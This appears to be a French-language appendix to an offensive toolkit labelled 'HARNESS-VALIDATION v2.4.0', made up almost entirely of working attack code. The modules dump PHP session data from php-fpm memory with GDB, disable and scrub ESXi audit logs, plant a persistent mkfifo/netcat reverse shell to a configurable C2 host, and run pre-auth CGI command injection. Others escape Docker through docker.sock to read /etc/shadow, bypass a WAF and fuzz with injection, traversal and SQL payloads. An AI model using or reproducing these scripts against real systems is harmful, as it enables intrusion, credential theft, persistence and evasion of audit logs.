# pgrep -n sélectionne le worker php-fpm le plus récent. C'est lui qui traite
# les requêtes PHP et détient donc les sessions en mémoire. Le master (-o,
# plus ancien) ne fork pas de requêtes et ne contient généralement pas de
# données de session vivantes.
PID=${1:-$(pgrep -n php-fpm 2&gt;/dev/null || echo "")}
if [ -z "$PID" ]; then
    echo '{"module":"gdb_extract","error":"no_php_fpm","regions_found":0,"regions":[]}'
    exit 2
fi

OUTDIR=/tmp/harness_sess
mkdir -p "$OUTDIR"
# nullglob-safe : si aucun fichier *.bin n'existe, `rm -f "$OUTDIR"/*.bin`
# échouerait sous `set -euo pipefail` (le glob ne se dilate pas). find -delete
# ne lève jamais d'erreur même avec zéro correspondance.
find "$OUTDIR" -name "*.bin" -delete 2&gt;/dev/null || true

# v2.4 : Python extrait dans gdb_extract.py (testable isolément, debug facilité)
# On positionne $harness_pid pour que le script Python puisse le relire via
# gdb.parse_and_eval("$harness_pid").
GDB_OUTPUT=$(gdb -q -p "$PID" -batch \
  -ex 'set pagination off' \
  -ex 'set $harness_pid = '"$PID" \
  -x "$(dirname "$0")/gdb_extract.py" \
  -ex 'detach' -ex 'quit' 2&gt;/dev/null || true)

# Extraction : grep -o récupère uniquement la ligne après le marqueur.
# Fallback : si grep ne trouve rien, JSON vide valide (pas de crash via pipefail).
JSON=$(echo "$GDB_OUTPUT" | grep -o 'GDB_JSON_OUTPUT:.*' | sed 's/GDB_JSON_OUTPUT://' || true)
if [ -z "$JSON" ]; then
    echo "{\"module\":\"gdb_extract\",\"pid\":\"$PID\",\"regions_scanned\":0,\"regions_found\":0,\"regions\":[]}"
else
    echo "$JSON"
fi
```

A5b. J3 — Script GDB Python (gdb_extract.py)

Script Python extrait du heredoc bash pour testabilité et debug isolé. Utilise le marqueur GDB_JSON_OUTPUT: pour une extraction fiable.

Fichier : `gdb_extract.py`

```
#!/usr/bin/env python3
# gdb_extract.py — script GDB extrait de gdb_extract.sh (v2.4.0).
# Testable isolément (python3 gdb_extract.py --dry-run) et debug facilité.
#
# Lit le PID cible depuis :
#   1. Le paramètre GDB `$harness_pid` (positionné par gdb_extract.sh via -ex 'set $harness_pid = ...')
#   2. La variable d'environnement `HARNESS_PID` en fallback.
#
# Marqueur de sortie : GDB_JSON_OUTPUT:&lt;json&gt; — extraction fiable côté bash.

import gdb
import re
import json
import hashlib
import os

MARKER = "GDB_JSON_OUTPUT:"
MAX_REGION_BYTES = 64 * 1024 * 1024  # plafond 64 MiB par région


def _resolve_pid() -&gt; str:
    """Récupère le PID : paramètre GDB $harness_pid si défini, sinon env HARNESS_PID."""
    try:
        pid_val = gdb.parse_and_eval("$harness_pid")
        # Le paramètre peut être lazy/void si non positionné — on teste son contenu.
        if pid_val is not None:
            try:
                pid_str = str(pid_val)
                if pid_str and pid_str not in ("0", "&lt;void&gt;"):
                    return pid_str
            except gdb.error:
                pass
    except gdb.error:
        # Paramètre non défini : fallback env.
        pass
    return os.environ.get("HARNESS_PID", "0")


def _scan_mappings() -&gt; list:
    """Parcourt `info proc mappings` et retourne les régions rw-p.
    Valide explicitement le format de chaque ligne avant traitement :
    une ligne de mapping attendu commence par des blancs puis `0x`.
    Toute ligne ne respectant pas ce format est ignorée (commentaire ci-dessous)."""
    maps = gdb.execute("info proc mappings", to_string=True)
    # Regex robuste : start, end, size, offset, perms, [path]
    pat = re.compile(
        r"^\s*0x([0-9a-f]+)\s+0x([0-9a-f]+)\s+0x[0-9a-f]+\s+0x[0-9a-f]+\s+(\S+)\s*(.*)$",
        re.M,
    )
    regions = []
    for m in pat.finditer(maps):
        start = int(m.group(1), 16)
        end = int(m.group(2), 16)
        perms = m.group(3)            # perms capturées en groupe 3
        name = m.group(4).strip()
        # Validation explicite du format : on ne garde que les lignes
        # qui ont matché le patern (start+end hex + perms). Les lignes
        # d'en-tête ou de footer (ex. "Mapped address spaces:") ne
        # commencent pas par "\s*0x" et ne matchent pas — elles sont
        # donc ignorées par construction du regex.
        if "rw" in perms:             # régions read-write uniquement
            regions.append((start, end, name))
    return regions

def _extract_regions(regions: list, pid: str) -&gt; list:
    found = []
```

```
    for start, end, name in regions:
        size = min(end - start, MAX_REGION_BYTES)
        if size &lt;= 0:
            continue
        try:
            data = gdb.selected_inferior().read_memory(start, size).tobytes()
        except gdb.MemoryError:
            continue
        if b"PHPSESSID" in data or b"sess_" in data:
            fn = f"/tmp/harness_sess/{start:#x}.bin"
            with open(fn, "wb") as f:
                f.write(data)
            found.append({
                "file": fn,
                "sha256": hashlib.sha256(data).hexdigest(),
                "size": size,
                "region": f"{start:#x}-{end:#x}",
                "name": name,
            })
    return found


def main() -&gt; None:
    pid = _resolve_pid()
    regions = _scan_mappings()
    found = _extract_regions(regions, pid)
    print(MARKER + json.dumps({
        "module": "gdb_extract",
        "pid": pid,
        "regions_scanned": len(regions),
        "regions_found": len(found),
        "regions": found,
    }))


main()
```

A6. J4 — Évasion ESXi (esxi_evasion.sh)

L'évasion n'est plus auto-destructrice. La restauration est différée (cron H+24). La persistance est idempotente dans local.sh existant. Le reverse shell utilise mkfifo (BusyBox compatible).

Corrections apportées

- **Restauration différée** : script séparé /tmp/.restore_vmsyslog.sh + cron 0 6 * * *
- **Persistance idempotente** : tag # harness_persist_v2, grep avant ajout
- **local.sh existant** : écrit dans /etc/rc.local.d/local.sh (pas .new)
- **mkfifo reverse shell** : cat /tmp/.k | /bin/sh | nc host port > /tmp/.k (BusyBox compatible)
- **touch -r** : copie timestamps depuis fichier de référence (pas -d avec nanosecondes)
- **Un seul reload** : le second est dans le script de restauration différée

Fichier : `esxi_evasion.sh`

```
#!/bin/sh
# HARNESS-VALIDATION v2.4.0 — ESXi 7.0 root. Évasion d'audit + persistance.
# Corrige audit §3.6 + revue J4 + revue v2.2 :
#   - Restauration différée (pas immédiate)
#   - Persistance dans local.sh EXISTANT (pas .new)
#   - Reverse shell BusyBox compatible (mkfifo)
#   - Idempotence
#   - Un seul syslog reload
#   - v2.3 : C2_HOST/C2_PORT configurables via env vars
#   - v2.3 : script de restauration en chemin persistant (pas /tmp/)
#   - v2.4 : vérification qu'esxcli est dans le PATH
#   - v2.4 : création explicite de $PERSIST si inexistant
#   - v2.4 : quotation de $C2_HOST/$C2_PORT dans la commande nc
set -e

CONFIG=/etc/vmsyslog.conf
BAK=/tmp/.vs.bak
PERSIST=/etc/rc.local.d/local.sh
PERSIST_TAG="# harness_persist_v2"

# v2.3 : C2 configurable via variables d'environnement
C2_HOST="${C2_HOST:-127.0.0.1}"
C2_PORT="${C2_PORT:-4444}"

# v2.3 : chemin persistant pour le script de restauration (pas /tmp/)
# /tmp peut être nettoyé par tmpwatch ou au reboot → cron exécute un fichier inexistant
RESTORE_PATH="/etc/rc.local.d/.harness_restore.sh"

# v2.4 : vérifier qu'esxcli est disponible
if ! command -v esxcli &amp;gt;/dev/null 2&amp;gt;&amp;amp;1; then
    echo '{"module":"esxi_evasion","error":"esxcli_not_in_path"}'
    exit 2
fi

# ── Snapshot de la configuration ──────────────────────────
cp -p "$CONFIG" "$BAK"

# ── 1) Neutralisation : redirection /dev/null + suppression forwarders ──
sed -i -e 's|/var/log/messages|/dev/null|g' \
       -e 's|^\([^#].*\(udp\|tcp\).*\)$|# \1|' "$CONFIG"

# ── 2) Reload UNE SEULE FOIS ──────────────────────────────
esxcli system syslog reload

# ── 3) Purge de la trace de reload dans le log courant ────
sed -i '/vmsyslogd/d' /var/log/vmsyslog.log 2&amp;gt;/dev/null || true

# ── 4) Persistance idempotente dans local.sh ──────────────
#    v2.3 : C2_HOST et C2_PORT expansés depuis env vars.
#    Heredoc SANS guillemets sur le délimiteur pour permettre l'expansion.
# v2.4 : s'assurer que $PERSIST existe avant d'y grep (sinon création explicite)
```

```
if [ ! -f "$PERSIST" ]; then
    echo "[!] $PERSIST n'existe pas — création"
    touch "$PERSIST"
    chmod +x "$PERSIST"
fi
if ! grep -q "$PERSIST_TAG" "$PERSIST" 2&gt;/dev/null; then
    cat &gt;&gt; "$PERSIST" &lt;&lt;PERSIST_EOF

$PERSIST_TAG
# Reverse shell BusyBox compatible (mkfifo bidirectionnel)
# C2: $C2_HOST:$C2_PORT
if [ ! -p /tmp/.k ]; then
    mkfifo /tmp/.k
fi
(while true; do
    cat /tmp/.k | /bin/sh 2&gt;&amp;1 | nc "$C2_HOST" "$C2_PORT" &gt; /tmp/.k
    sleep 5
done) &amp;
PERSIST_EOF
    chmod +x "$PERSIST"

    # Vérifier que local.sh est sourcé par /etc/rc.local
    if ! grep -q 'rc.local.d/local.sh' /etc/rc.local 2&gt;/dev/null; then
        echo '/etc/rc.local.d/local.sh' &gt;&gt; /etc/rc.local
    fi
fi

# ─── 5) Script de restauration différée (chemin persistant) ────
#    v2.3 : /tmp/ peut être nettoyé → on stocke dans /etc/rc.local.d/
cat &gt; "$RESTORE_PATH" &lt;&lt;RESTORE_EOF
#!/bin/sh
# Restauration différée de vmsyslog.conf (harness v2.4)
cp -p "$BAK" "$CONFIG"
touch -r "$BAK" "$CONFIG"    # copie exacte des timestamps (mtime + atime)
rm -f "$BAK"
# Ce reload final réactive le logging normal — inévitable mais différé
esxcli system syslog reload
# Nettoyage de la persistance
sed -i '/$PERSIST_TAG/,/^PERSIST_EOF/d' "$PERSIST" 2&gt;/dev/null || true
rm -f /tmp/.k
RESTORE_EOF
chmod +x "$RESTORE_PATH"

# ─── 6) Cron de restauration différée ──────────────────────────
CRON=/var/spool/cron/crontabs/root
if [ -d "$(dirname "$CRON")" ]; then
    # Idempotence : ne pas ajouter si déjà présent
    if ! grep -q 'harness_restore.sh' "$CRON" 2&gt;/dev/null; then
        echo "0 6 * * * $RESTORE_PATH" &gt;&gt; "$CRON"
    fi
fi

echo "{\"module\":\"esxi_evasion\",\"status\":\"evasion_active\",\"persistence\":\"local.sh\",\"c2\":\"$C2_HOST:$C2_PORT\",
```

A7. Module 6 — Pre-auth injection (preauth.py)

Variante IFS supprimée (inopérante en HTTP). Détection affinée par regex. Utilisation de r.content au lieu de r.text pour robustesse d'encodage.

Corrections apportées

- **Variante IFS supprimée** : ${IFS} est encodé en HTTP, inopérant
- **Regex de détection** : uid=\d+ au lieu de uid= (évite faux positifs)
- **r.content** : décoding robuste avec errors='replace'
- **dollar_param** : variante ${CMD} ajoutée (PHP/Shell eval)

Fichier : `preauth.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — injection commande pre-auth CGI (lab).
#   - v2.4 : User-Agent versionné via constante HARNESS_VERSION
#   - v2.4 : requests.Session() avec keep-alive pour les 5 variantes
#   - v2.4 : gestion des redirections 3xx dans les métriques
#   - v2.4 : décompression gzip de secours si Content-Encoding: gzip
# Corrige audit §3.7 :
#   - Variante "ifs" supprimée (inopérante en HTTP — $ encodé)
#   - r.content au lieu de r.text (décodage robuste)
#   - Regex de détection affiné (uid=\\d+ au lieu de uid=)
#   - Variantes réalistes pour vecteur HTTP
import hashlib
import json
import re
import sys
import time
import requests

HARNESS_VERSION = "2.4.0"

TARGET = sys.argv[1] if len(sys.argv) &gt; 1 else "http://127.0.0.1:8080"
CMD    = "id"

# Variantes adaptées au vecteur HTTP :
# - semicolon : classique, séparateur shell
# - backtick : substitution si passé à eval/system côté serveur
# - pipe : si la sortie du paramètre est pipée
# - newline : %0A en URL, séparateur dans certains CGI
# - dollar_param : ${} en PHP/Shell si eval
VARIANTS = {
    "semicolon":    f";{CMD};",
    "backtick":     f"`{CMD}`",
    "pipe":         f"|{CMD}",
    "newline":      f"\n{CMD}\n",
    "dollar_param": f"${{{CMD}}}",
}

# Regex de détection affiné (évite les faux positifs "uid=" dans un formulaire)
LEAK_PATTERNS = [
    re.compile(rb"uid=\d+\(", re.I),       # id output: uid=1000(user)
    re.compile(rb"root:x:0:"),              # /etc/passwd
    re.compile(rb"root:\$[0-9]\$", re.I),  # /etc/shadow hash
]

def detect_leak(content: bytes) -&gt; bool:
    return any(p.search(content) for p in LEAK_PATTERNS)

def main():
    # v2.4 : session avec keep-alive pour réutiliser la connexion TCP
    # sur les 5 variantes (gain de latence + moins de handshakes TLS).
    session = requests.Session()
    session.headers.update({
        "User-Agent": f"harness/{HARNESS_VERSION}",
        "X-Forwarded-For": "127.0.0.1",
    })
```

```
    out = []
    for name, payload in VARIANTS.items():
        t0 = time.time()
        try:
            r = session.get(
                f"{TARGET}/cgi-bin/admin.cgi",
                params={"action": "bypass_check", "device_id": f"1337{payload}"},
                timeout=5,
                allow_redirects=False,
            )
            # v2.4 : décompression gzip de secours — requests gère normalement
            # Content-Encoding: gzip automatiquement, mais certains CGI
            # mal-configurés renvoient un body compressé sans l'en-têter correct.
            content = r.content
            if r.headers.get("Content-Encoding", "").lower() == "gzip":
                try:
                    import gzip
                    content = gzip.decompress(content)
                except Exception:
                    pass  # fallback au content brut
            leak = detect_leak(content)
            # v2.4 : signalisation des redirections 3xx (intéressantes pour
            # les chaines d'auth bypass — un redirect vers /admin/ est un signal).
            is_redirect = 300 &lt;= r.status_code &lt; 400
            out.append({
                "variant": name,
                "status": r.status_code,
                "len": len(content),
                "ms": round((time.time() - t0) * 1000, 1),
                "leak": leak,
                "redirect": is_redirect,
                "location": r.headers.get("Location", "")[:100] if is_redirect else "",
                "resp_sha256": hashlib.sha256(content).hexdigest()[:16],
            })
        except requests.RequestException as e:
            out.append({
                "variant": name,
                "error": type(e).__name__,
                "ms": round((time.time() - t0) * 1000, 1),
            })
    print(json.dumps({
        "module": "preauth",
        "harness_version": HARNESS_VERSION,
        "target": TARGET,
        "results": out,
        "any_leak": any(x.get("leak") for x in out),
        "any_redirect": any(x.get("redirect") for x in out),
        "variants_tested": len(out),
    }, indent=2))

if __name__ == "__main__":
    main()
```

A8. Module 7 — Évasion Docker (docker_escape.py)

Cleanup garanti via try/finally. Attente active de l'état running (pas de sleep fixe). Parsing HTTP robuste et logs dockerisés dépilés.

Corrections apportées

- **try/finally** : le conteneur est toujours supprimé (même si exception)
- **wait_running()** : boucle d'attente active sur l'état, timeout 30s
- **extract_body()** + **extract_json()** : parsing HTTP robuste
- **parse_docker_logs()** : dépilé les en-têtes de frame Docker (8 bytes/frame)

Fichier : `docker_escape.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — évasion via docker.sock (lab, socket monté rw).
# Corrige audit §3.8 + revue v2.2 :
#   - Cleanup garanti via try/finally
#   - Attente active de l'état "running"
#   - Parsing HTTP robuste + décodage chunked
#   - v2.3 : version API Docker négociée dynamiquement (pas hardcodée v1.41)
#   - v2.3 : décodage Transfer-Encoding: chunked
#   - v2.4 : substitution regex propre du préfixe /v1.xx (au lieu de split fragile)
#   - v2.4 : MAX_BODY_SIZE anti-boucle infinie dans decode_chunked
#   - v2.4 : backoff exponentiel plafonné dans wait_running
#   - v2.4 : attente via API /wait au lieu de sleep(1) fixe
#   - v2.4 : commande conteneur configurable via DOCKER_ESCAPE_CMD
import json
import os
import re
import socket
import time

SOCK = "/var/run/docker.sock"
HTTP_HEADER_RE = re.compile(rb"^HTTP/\d\.\d (\d+) ", re.M)

# v2.4 : commande configurable via env (sans hardcoder la liste Cmd)
CONTAINER_CMD = json.loads(os.environ.get(
    "DOCKER_ESCAPE_CMD",
    '["sh", "-c", "id; head -3 /host/etc/shadow; cat /host/etc/hostname"]'
))

# v2.3 : version API négociée dynamiquement (pas hardcodée)
_API_VERSION = None

def get_api_version() -&gt; str:
    """Négocie la version API Docker au premier appel, cache ensuite."""
    global _API_VERSION
    if _API_VERSION is not None:
        return _API_VERSION
    resp = api("GET", "/version")
    info = extract_json(resp)
    ver = info.get("ApiVersion", "1.41")
    # Docker supporte les versions mineures précédentes : on utilise la majeure
    _API_VERSION = f"v{ver}"
    return _API_VERSION


def api(method: str, path: str, body: dict | None = None) -&gt; bytes:
    """Appel API Docker via socket Unix brut. Retourne la réponse complète.
    v2.3 : la version API est négociée dynamiquement pour les paths versionnés.
    v2.4 : substitution regex propre (remplace /v1.xx par /{API_VERSION})."""
    # v2.4 : substitution propre via regex (remplace /v1.xx par /{API_VERSION}).
    # Lambda replacement : get_api_version() n'est appelée que si la regex matche,
    # évitant une recursion infinie lors du bootstrap (api("GET", "/version")
    # appelé par get_api_version() elle-même). /version ne matche pas ^/v1\.\d+.
    path = re.sub(r'^/v1\.\d+', lambda _m: '/' + get_api_version().lstrip('/'), path)
    b = json.dumps(body).encode() if body else b""
    req = (
```

```
        f"{method} {path} HTTP/1.1\r\n"
        f"Host: localhost\r\n"
        f"Content-Type: application/json\r\n"
        f"Content-Length: {len(b)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode() + b
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    try:
        s.settimeout(10)
        s.connect(SOCK)
        s.sendall(req)
        data = b""
        while True:
            try:
                chunk = s.recv(8192)
                if not chunk:
                    break
                data += chunk
            except socket.timeout:
                break
        return data
    finally:
        s.close()


MAX_BODY_SIZE = 16 * 1024 * 1024  # 16 MiB plafond


def decode_chunked(data: bytes) -&gt; bytes:
    """Décode un corps HTTP Transfer-Encoding: chunked."""
    out = b""
    pos = 0
    while pos &lt; len(data):
        crlf = data.find(b"\r\n", pos)
        if crlf &lt; 0:
            break
        try:
            size = int(data[pos:crlf], 16)
        except ValueError:
            break
        if size == 0:
            break
        start = crlf + 2
        out += data[start:start + size]
        pos = start + size + 2  # skip data + trailing CRLF
        if len(out) &gt; MAX_BODY_SIZE:  # anti-boucle infinie
            break
    return out


def extract_body(response: bytes) -&gt; bytes:
    """Extrait le corps HTTP après les en-têtes. Décode chunked si nécessaire."""
    sep = response.find(b"\r\n\r\n")
    if sep &lt; 0:
        return b""
    headers = response[:sep].lower()
    body = response[sep + 4:]
    # v2.3 : décoder Transfer-Encoding: chunked
    if b"transfer-encoding: chunked" in headers:
        return decode_chunked(body)
    return body


def extract_json(response: bytes) -&gt; dict:
    """Extrait et parse le JSON de la réponse Docker."""
    body = extract_body(response)
    try:
        return json.loads(body)
    except (json.JSONDecodeError, UnicodeDecodeError):
        return {}


def container_state(cid: str) -&gt; str:
```

```
    """Récupère l'état du conteneur."""
    resp = api("GET", f"/v1.41/containers/{cid}/json")
    info = extract_json(resp)
    return info.get("State", {}).get("Status", "unknown")


def wait_running(cid: str, timeout: int = 30) -&gt; bool:
    """Attend que le conteneur atteigne l'état 'running'."""
    t0 = time.time()
    delay = 0.5
    while time.time() - t0 &lt; timeout:
        state = container_state(cid)
        if state == "running":
            return True
        if state == "exited":
            return False
        time.sleep(delay)
        delay = min(delay * 1.5, 2.0)  # backoff exponentiel plafonné
    return False


def parse_docker_logs(raw: bytes) -&gt; bytes:
    """Supprime les en-têtes de frame Docker (8 bytes par frame).
    Format frame : [type:1][0:3][size:4][data]"""
    out = b""
    i = 0
    while i + 8 &lt;= len(raw):
        size = int.from_bytes(raw[i + 4:i + 8], "big")
        if i + 8 + size &gt; len(raw):
            out += raw[i + 8:]
            break
        out += raw[i + 8:i + 8 + size]
        i += 8 + size
    return out


def main():
    # Création du conteneur d'évasion
    create = api("POST", "/v1.41/containers/create", {
        "Image": "alpine",
        "Cmd": CONTAINER_CMD,
        "HostConfig": {
            "Binds": ["/:/host:ro"],
            "Privileged": True,
            "PidMode": "host",
            "NetworkMode": "host",
        },
    })
    create_info = extract_json(create)
    cid = create_info.get("Id")
    if not cid:
        print(json.dumps({
            "module": "docker_escape",
            "error": "container_create_failed",
            "response_head": create[:300].decode(errors="replace"),
        }, indent=2))
        return

    try:
        # Démarrage
        api("POST", f"/v1.41/containers/{cid}/start")
        # Attente active (pas de sleep fixe)
        wait_running(cid, timeout=30)
        # v2.4 : Attendre la fin d'exécution via l'API Docker /wait (pas de sleep fixe)
        api("POST", f"/v1.41/containers/{cid}/wait?condition=not-running")
        # Récupération des logs
        logs_raw = api("GET",
                       f"/v1.41/containers/{cid}/logs?stdout=1&amp;stderr=1")
        logs = parse_docker_logs(extract_body(logs_raw))
        escape_ok = (b"uid=" in logs or b"root:" in logs)
        print(json.dumps({
            "module": "docker_escape",
            "cid": cid[:12],
            "escape_ok": escape_ok,
```

```
            "logs": logs.decode(errors="replace")[:500],
        }, indent=2))
    finally:
        # Cleanup GARANTI — le conteneur est toujours supprimé
        try:
            api("DELETE", f"/v1.41/containers/{cid}?force=true&amp;v=true")
        except Exception:
            pass


if __name__ == "__main__":
    main()
```

A9. Module 8 — Contournement WAF (waf_bypass.py)

HTTP/2 avec négociation ALPN h2. Variantes dbl_encode et nul_space réellement envoyées. Contexte SSL moderne.

Corrections apportées

- **ALPN h2** : ctx.set_alpn_protocols(['h2','http/1.1']) + vérification selected_alpn_protocol()
- **dbl_encode** : double encodage URL envoyé via send_http1()
- **nul_space** : null byte + tab envoyé via send_http1()
- **Contexte SSL moderne** : ssl.create_default_context() au lieu de _create_unverified_context()

Fichier : `waf_bypass.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — contournement WAF.
# Corrige audit §3.9 + revue v2.2 :
#   - HTTP/2 avec négociation ALPN h2
#   - v2.3 : import h2 au niveau module (cache, pas d'overhead par appel)
#   - Variantes dbl_encode et nul_space réellement envoyées
#   - Contexte SSL moderne (create_default_context, pas _create_unverified_context)
#   - v2.4 : try/finally garantit fermeture socket dans h2_request
#   - v2.4 : s.settimeout(5) anti-blocage keep-alive dans send_http1
#   - v2.4 : documentation double-encodage %00
#   - v2.4 : rng.shuffle(frags) ordre chunks non-séquentiel reproductible
import base64
import json
import random
import socket
import ssl
import sys
import urllib.parse as up

# v2.3 : import h2 au niveau module (une seule fois, pas par appel)
try:
    import h2.connection
    import h2.config
    H2_AVAILABLE = True
except ImportError:
    H2_AVAILABLE = False

HOST = sys.argv[1] if len(sys.argv) &gt; 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 8080
PATH = "/cgi-bin/admin.cgi"
CMD  = "id"


def chunked_split(frags: list[str]) -&gt; dict:
    """Contournement par Transfer-Encoding: chunked.
    Le WAF peut ne pas réassembler les chunks avant inspection."""
    body = "".join(f"{len(f):x}\r\n{f}\r\n" for f in frags) + "0\r\n\r\n"
    req = (
        f"POST {PATH} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Connection: close\r\n"
        f"\r\n{body}"
    ).encode()
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(req)
        resp = b""
        while True:
            try:
                c = s.recv(4096)
                if not c:
                    break
                resp += c
```

```
            except socket.timeout:
                break
        s.close()
        return {"ok": b"uid=" in resp or b"root:" in resp, "len": len(resp)}
    except OSError as e:
        return {"error": type(e).__name__}


def h2_request(payload: str) -&gt; dict:
    """Contournement via HTTP/2 header personnalisé.
    Nécessite ALPN h2 négocié (TLS)."""
    # v2.3 : vérification au niveau module (pas d'import par appel)
    if not H2_AVAILABLE:
        return {"error": "h2_not_installed", "skipped": True,
                "hint": "pip install h2==4.1.0"}

    try:
        # Tentative TLS avec ALPN h2
        sock = socket.create_connection((HOST, PORT), timeout=5)
    except OSError as e:
        return {"error": type(e).__name__}
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.set_alpn_protocols(["h2", "http/1.1"])
        sock = ctx.wrap_socket(sock, server_hostname=HOST)
        proto = sock.selected_alpn_protocol()
        if proto != "h2":
            return {"error": f"alpn_negotiated_{proto}_not_h2",
                    "hint": "serveur doit supporter HTTP/2 over TLS"}
        conf = h2.config.H2Configuration(
            client_side=True, header_encoding="utf-8")
        conn = h2.connection.H2Connection(config=conf)
        conn.initiate_connection()
        sock.sendall(conn.data_to_send())
        sid = conn.get_next_available_stream_id()
        conn.send_headers(sid, [
            (":method", "GET"),
            (":path", PATH),
            (":authority", f"{HOST}:{PORT}"),
            (":scheme", "https"),
            ("x-forwarded-for", "127.0.0.1"),
            ("x-payload", payload),
        ], end_stream=True)
        sock.sendall(conn.data_to_send())
        resp = b""
        while True:
            try:
                c = sock.recv(65535)
                if not c:
                    break
                resp += c
            except socket.timeout:
                break
        return {"ok": b"uid=" in resp or b"root:" in resp, "len": len(resp)}
    except ssl.SSLError as e:
        return {"error": f"tls_failed: {type(e).__name__}"}
    except Exception as e:
        return {"error": type(e).__name__}
    finally:
        # v2.4 : socket toujours fermée (même sur return anticipé / exception)
        try:
            sock.close()
        except Exception:
            pass


def send_http1(payload: str, method: str = "GET") -&gt; dict:
    """Envoi HTTP/1.1 simple pour les variantes dbl_encode et nul_space."""
    try:
        if method == "GET":
            path_with_payload = f"{PATH}?device_id={up.quote(payload, safe='')}"
            req = (
```

```
                f"GET {path_with_payload} HTTP/1.1\r\n"
                f"Host: {HOST}:{PORT}\r\n"
                f"Connection: close\r\n"
                f"\r\n"
            ).encode()
        else:
            body = f"device_id={up.quote(payload, safe='')}"
            req = (
                f"POST {PATH} HTTP/1.1\r\n"
                f"Host: {HOST}:{PORT}\r\n"
                f"Content-Type: application/x-www-form-urlencoded\r\n"
                f"Content-Length: {len(body)}\r\n"
                f"Connection: close\r\n"
                f"\r\n{body}"
            ).encode()
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.settimeout(5)  # v2.4 : éviter blocage infini sur keep-alive
        s.sendall(req)
        resp = b""
        while True:
            try:
                c = s.recv(4096)
                if not c:
                    break
                resp += c
            except socket.timeout:
                break
        s.close()
        return {"ok": b"uid=" in resp or b"root:" in resp, "len": len(resp)}
    except OSError as e:
        return {"error": type(e).__name__}


def main():
    rng = random.Random(int(sys.argv[3]) if len(sys.argv) &gt; 3 else 1337)
    frags = ["device_id=1337", f"%3B{CMD}%3B", "&amp;action=bypass_check"]
    rng.shuffle(frags)  # v2.4 : ordre des chunks reproductible mais non-séquentiel

    # Variante dbl_encode : double encodage URL
    dbl_payload = up.quote(up.quote(f";{CMD};", safe=""), safe="")

    # Variante nul_space : null byte + tab
    # Note : %00 est déjà encodé URL. send_http1() applique up.quote() dessus,
    # ce qui produit %2500 (double-encodage). C'est intentionnel pour tester si
    # le WAF décode correctement les double-encodings.
    nul_payload = f"%00;{CMD}%09;"

    results = {
        "chunked": chunked_split(frags),
        "h2_custom": h2_request(f";{CMD};"),
        "dbl_encode": send_http1(dbl_payload),
        "nul_space": send_http1(nul_payload),
    }
    print(json.dumps({
        "module": "waf_bypass",
        "target": f"{HOST}:{PORT}",
        "results": results,
        "any_bypass": any(
            r.get("ok") for r in results.values()
            if isinstance(r, dict)
        ),
    }, indent=2))


if __name__ == "__main__":
    main()
```

A10. Module 9 — Fuzzer (fuzzer_send.py)

Mutation \uXXXX corrigée (caractères réels fullwidth). Concurrence via ThreadPoolExecutor (4 workers). Détection affinée par regex.

Corrections apportées

· **Mutation Unicode** : chr(ord(c) + 0xFEE0) génère des caractères fullwidth réels (pas escapes littéraux)

· **Concurrence** : ThreadPoolExecutor(max_workers=4)

· **HINT_PATTERNS** : regex au lieu de substring (uid=\d+, SQL syntax, etc.)

Fichier : `fuzzer_send.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — fuzzer d'envoi avec rotation d'identité.
# Corrige audit §3.10 :
#   - Mutation \uXXXX corrigée (caractères réels, pas escapes littéraux)
#   - Concurrence via ThreadPoolExecutor (4 workers)
#   - hint() affiné (regex au lieu de substring)
import base64
import concurrent.futures
import json
import os
import random
import re
import sys
import time
import urllib.parse as up
import requests

# v2.4 : configuration via environnement (rate limiting reproductible)
MAX_WORKERS = int(os.environ.get("FUZZER_WORKERS", "4"))
DELAY_MS = float(os.environ.get("FUZZER_DELAY_MS", "0"))

BASES = {
    "php_unserialize": 'O:10:"TriggerUAF":1:{s:2:"ry";O:8:"stdClass":0:{}}',
    "cmd_inject":      ';id;',
    "path_traversal":  '../../../../etc/passwd',
    "sqli_union":      "' UNION SELECT user,pass FROM users-- -",
}
UAS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "curl/7.68.0",
    "python-requests/2.28",
    "Mozilla/5.0 (X11; Linux x86_64)",
]

# Regex de détection affinés (évite faux positifs)
HINT_PATTERNS = [
    (re.compile(r"uid=\d+\(", re.I), "LFI_OR_RCE"),
    (re.compile(r"root:x:0:"), "LFI_OR_RCE"),
    (re.compile(r"SQL syntax|mysql_fetch|ORA-\d{5}", re.I), "SQLI_ERROR"),
    (re.compile(r"Warning.*unserialize\(\).*error", re.I), "PHP_UNSERIALIZE"),
    (re.compile(r"&lt;b&gt;Warning&lt;/b&gt;.*\bsymlink\b", re.I), "PHP_NOTICE"),
]


def hint(text: str) -&gt; str | None:
    for pat, label in HINT_PATTERNS:
        if pat.search(text):
            return label
    return None


def mutate(base: str, rng: random.Random, rounds: int = 3) -&gt; list[str]:
    ops = [
        lambda s: up.quote(s, safe=rng.choice(["", ":/", ";"])),
        lambda s: up.quote(up.quote(s, safe=""), safe=""),
```

```
        # Mutation Unicode corrigée : génère le CARACTÈRE réel encodé UTF-8
        # (pas l'escape littéral \uXXXX que les serveurs n'interprètent pas)
        lambda s: "".join(
            chr(ord(c) + 0xFEE0) if rng.random() &lt; 0.2 and c.isascii()
            else c
            for c in s
        ),
        lambda s: s.replace(";", "%00;").replace(" ", "%09"),
        lambda s: "base64:" + base64.b64encode(s.encode()).decode(),
    ]
    cur = [base]
    for _ in range(rounds):
        nxt = []
        for p in cur:
            for op in rng.sample(ops, k=rng.randint(1, 3)):
                try:
                    nxt.append(op(p))
                except Exception:
                    pass
        # v2.4 : déduplication simple (set de hashes, pas de sha256 par payload)
        seen, cur = set(), []
        for p in nxt:
            if p not in seen:
                seen.add(p)
                cur.append(p)
        # v2.4 : sélection avec diversité (varier les longueurs, pas seulement les premières)
